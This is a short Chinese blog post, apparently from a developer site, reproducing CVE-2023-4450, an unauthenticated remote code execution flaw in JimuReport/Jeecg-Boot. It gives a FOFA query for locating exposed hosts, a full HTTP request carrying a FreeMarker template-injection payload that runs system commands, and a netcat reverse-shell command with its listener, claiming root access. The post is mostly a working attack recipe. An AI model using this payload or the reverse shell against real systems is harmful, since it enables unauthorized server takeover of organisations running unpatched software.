jeect-boot queryFieldBySql接口RCE漏洞(CVE-2023-4450)复现

jeect-boot积木报表由于未授权的 API /jmreport/queryFieldBySql 使用了 freemarker 解析 SQL 语句从而导致了 RCE 漏洞的产生。

1.漏洞级别

高危

2.漏洞搜索

fofa

app="Jeecg-Boot 企业级快速开发平台"

3.影响范围

JimuReport < 1.6.1

4.漏洞复现

这个漏洞的注入点就在于/jeecg-boot/jmreport/queryFieldBySql 且无需用户授权即可执行
构造数据包

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/2
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate, br
Accept: */*
Content-Type: application/json
Content-Length: 102

{"sql":"select '<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"whoami  \") }' "}

如果漏洞存在,则会出现以下内容:
在这里插入图片描述
如果命令失败则会显示:
在这里插入图片描述
漏洞相对简单,到这里就复现成功了。

4.2 进一步利用

如果想要进一步rce的话,可以通过nc的方法来反弹shell,执行

nc -e /bin/bash ip port

在这里插入图片描述
远程服务器执行,即可正常获取shell

nc -lvp 8888

成功getsshell,root权限
在这里插入图片描述

  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 13
    评论
评论 13
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值